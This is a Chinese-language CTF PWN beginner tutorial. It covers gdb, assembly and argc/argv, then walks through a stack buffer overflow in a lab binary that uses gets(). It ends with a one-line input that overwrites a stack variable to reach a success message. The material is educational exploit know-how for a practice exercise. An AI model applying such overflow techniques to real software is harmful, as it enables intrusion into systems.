CTF-PWN_pwn

 


PWN
  • PWN是一个黑客语法的俚语词,自"own"这个字引申出来的
  • 这个词的含意在于,玩家在整个游戏对战中处在胜利的优势,或是说明竞争对手处在完全惨败的情形下,这个词习惯上在网络游戏文化主要用于嘲笑竞争对手在整个游戏对战中已经完全被击败(例如:“You just got pwned!”)。
  • 有一个非常著名的国际赛事叫做Pwn2Own,相信你现在已经能够理解这个名字的含义了,即通过打败对手来达到拥有的目的。

CTF竞赛中的主要题型之一

  • 直接给定一个已经编译好的二进制程序

  • Windows下的EXE或者Linux下的ELF文件等

  • 然后参赛选手通过对二进制程序进行逆向分析和调试来找到利用漏洞,并编写利用代码,通过远程代码执行来达到溢出攻击的效果

  • 最终拿到目标机器的shell夺取flag。

  • 主要考查 逆向分析、漏洞挖掘以及Exploit编写能力。
    CTF-PWN 以最常见的栈溢出为主

  • 栈溢出攻击原理与实践

  • Linux下GDB调试器的基本使用方法。

  • Linux操作系统,C语言,汇编语言


了解CTF Capture The Flag 夺旗

  • 计算机安全竞赛的一种形式
    逆向工程、
    密码学、
    ACM编程、
    Web漏洞、
    二进制溢出PWN、
    网络和取证

二、Linux管道

  Linux管道可以将一个进程的标准输出作为另一个进程的标准输入
  管道的操作符号为“|”
  比如ls命令可用于查看当前目录下的文件列表
  而grep命令可用于匹配特定的字符
  因此ls | grep test命令可用于列出当前目录下文件名包含test的文件。

三、Python基础

  在Linux shell中执行python -c "print 'Hello'"
  可以执行双引号中的Python语句
  即通过print打印出Hello字符串。
  Python中单引号和双引号没有区别
  因为这里使用双引号修饰Python语句,因此使用单引号修饰字符串。

四、gdb调试器

  gdb是Linux下常用的一款命令行调试器,拥有十分强大的调试功能。
  需要用到的gdb命令如下:

CTF-PWN_渗透测试_02五、汇编基础

  读懂常见的汇编指令是CTF竞赛中PWN解题的基本要求
  需要理解的汇编指令如下:

CTF-PWN_渗透测试_03注:图为AT&T风格的汇编指令。

  汇编语言中
  esp寄存器用于指示当前函数栈帧的栈顶的位置
  函数中局部变量都存储在栈空间中
  栈的生长方向是向下的(即从高地址往低地址方向生长)
  

  缓冲区溢出是指
  当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,
  使得溢出的数据覆盖在合法数据上,
  理想的情况是程序检查数据长度并不允许输入超 过缓冲区长度的字符,
  但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,
  这就为缓冲区溢出埋下隐患。

服务器:CentOS6.5
IP地址:随机分配
辅助工具:Python,gdb


描述:
  主机/home/test/1目录下有一个pwn1程序,
  执行这个程序的时候可以输入数据进行测试,
  pwn1程序会输出Please try again.的提示信息,
  请对pwn1程序进行逆向分析和调试,找到程序内部的漏洞,
  并构造特殊的输入数据,
  使之输出Congratulations, you pwned it.信息

源码审计

  在实际的CTF竞赛的PWN题目中,
  一般是不会提供二进制程序的源代码的。
  这里为了方便大家学习,给出二进制程序的C语言源代码供大家分析,
  以源码审计的方式确定漏洞所在位置,方便后续进行汇编级别的分析。

  (在没有源代码的情况下,
  我们通常使用IDA Pro对二进制程序进行逆向分析,
  使用IDA的Hex-Rays插件可以将反汇编代码还原为C语言伪代码,
  可以达到类似源代码的可读效果,
  在后期的实验中会专门对IDA的使用进行讲解)

CTF-PWN_pwn_04CTF-PWN_渗透测试_05CTF-PWN_pwn_06

  • 意思:char ** 指向字符型指针的指针
  • char用于C或C++中定义字符型变量,只占一个字节
  • int:是一种数据类型, 用于定义整数类型变量的标识符。

arg:arguments
argc:argument counter
argv:argument vector
argc 是 argument count的缩写,表示传入main函数的参数个数

argv 是 argument vector的缩写,表示传入main函数的参数序列或指针,
并且第一个参数argv[0]一定是程序的名称,并且包含了程序所在的完整路径,
所以确切的说需要我们输入的main函数的参数个数应该是argc-1个;

一、传入参数方法
1、方法1
C/C++语言中的main函数,经常带有参数argc,argv,如下:

int main(int argc, char **argv)
int main(int argc, char *argv[])

这两个参数的作用是什么呢?
argc 是指命令行输入参数的个数,argv存储了所有的命令行参数。
假如你的程序是hello.exe,如果在命令行运行该程序,
(首先应该在命令行下用 cd 命令进入到 hello.exe 文件所在目录)
运行命令为:

hello.exe Shiqi Yu

那么,argc的值是 3,argv[0]是"hello.exe",argv[1]是"Shiqi",argv[2]是"Yu"。

下面的程序演示argc和argv的使用:

#include <stdio.h>

int main(int argc, char ** argv)
{
    int i;
    for (i=0; i < argc; i++)
        printf("Argument %d is %s./n", i, argv[i]);

    return 0;
}

假如上述代码编译为hello.exe,那么运行

hello.exe a b c d e

将得到

Argument 0 is hello.exe.
Argument 1 is a.
Argument 2 is b.
Argument 3 is c.
Argument 4 is d.
Argument 5 is e.

运行

hello.exe lena.jpg

将得到


Argument 0 is hello.exe.
Argument 1 is lena.jpg.

2、方法2
项目——属性——配置属性——调试——命令参数,设置命令参数就可以传入。

# gets从标准输入设备读字符串函数#

其可以无限读取,不会判断上限,以回车结束读取,所以程序员应该确保buffer的空间足够大,以便在执行读操作时不发生溢出。

  • 使用gets函数读取输入数据时,并不会对buffer缓冲区的长度进行检查,
  • 输入超长的输入数据时会引发缓冲区溢出。

使用gdb调试程序

  执行gdb pwn1即可开始通过gdb对pwn1进行调试
  现在我们需要阅读main函数的汇编代码,
  在gdb中执行disas main命令即可:

CTF-PWN_渗透测试_07CTF-PWN_pwn_08

下面是对main函数中的汇编代码的解释:


0x080482a0 <+0>:   push   %ebp

0x080482a1 <+1>:   mov    %esp,%ebp

0x080482a3 <+3>:   and    $0xfffffff0,%esp




// esp = esp - 0x60,即在栈上分配0x60 字节的空间

0x080482a6 <+6>:   sub    $0x60,%esp



// modified变量位于esp + 0x5C处,将其初始化为0

0x080482a9 <+9>:   movl   $0x0,0x5c(%esp)


// buffer位于esp + 0x1C处

0x080482b1 <+17>:  lea    0x1c(%esp),%eax

0x080482b5 <+21>:  mov    %eax,(%esp)


// 调用gets(buffer)读取输入数据

0x080482b8 <+24>:  call   0x8049360 <gets>


// 判断modified变量的值是否是0

0x080482bd <+29>:  cmpl   $0x0,0x5c(%esp)


//如果modified的值等于0,就跳转到 0x080482d2

0x080482c2 <+34>:  je     0x80482d2 <main+50>


// modified不为0,打印成功提示

0x080482c4 <+36>:  movl   $0x80b3eec,(%esp)

0x080482cb <+43>:  call   0x8049500 <puts>

0x080482d0 <+48>:  jmp    0x80482de <main+62>


//modified为0,打印失败提示

0x080482d2 <+50>:  movl   $0x80b3f0b,(%esp)

0x080482d9 <+57>:  call   0x8049500 <puts>

0x080482de <+62>:  mov    $0x0,%eax

0x080482e3 <+67>:  leave

0x080482e4 <+68>:  ret

通过对上面的汇编代码进行分析,
我们知道buffer位于esp+0x1C处,
而modified位于esp+0x5C处,
两个地址的距离为0x5C - 0x1C = 0x40,即64,
刚好为buffer数组的大小。
因此当我们输入的数据超过64字节时,

modified变量就可以被覆盖。
  下面在gdb中进行验证,
  在gdb中执行b *0x080482bd命令对gets的下一条指令下一个断点:

CTF-PWN_pwn_09
在gdb中执行r命令,让被调试的pwn1程序跑起来,
就可以输入数据进行测试了,
这里我们输入64个A以及1个B
(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB)
按下 Enter键程序就在断点处断下了:

CTF-PWN_渗透测试_10 在gdb中输入x $esp+0x5C,
查看modified变量的值已经被修改成了0x00000042,
而0x42就是字符’B’的ASCII值,
表明我们成功用输入数据的第65个字节覆盖了modified变量:

CTF-PWN_渗透测试_11
在gdb中连续两次执行ni命令,
可以看到je指令没有跳转,
说明modified的值不为0,
程序进入输出通过信息的if语句分支:CTF-PWN_pwn_12在gdb中输入c命令就可以让程序继续执行,
看到输出了通过提示信息:
CTF-PWN_pwn_13CTF-PWN_pwn_14


#溢出攻击效果#

  通过上面的步骤我们已经知道了如果控制输入数据来进行攻击,
  以达到进入if语句分支的目的。
  下面我们就可以通过构造输入数据进行攻击了。

  如果你还没有退出gdb,
  输入q命令就可以退出gdb。

下面通过python语句构造输入数据,
然后通过管道传给pwn1程序,
执行命令

python -c "print 'A'*64+'B'" | ./pwn1  

CTF-PWN_pwn_15CTF-PWN_pwn_16CTF-PWN_渗透测试_17CTF-PWN_pwn_18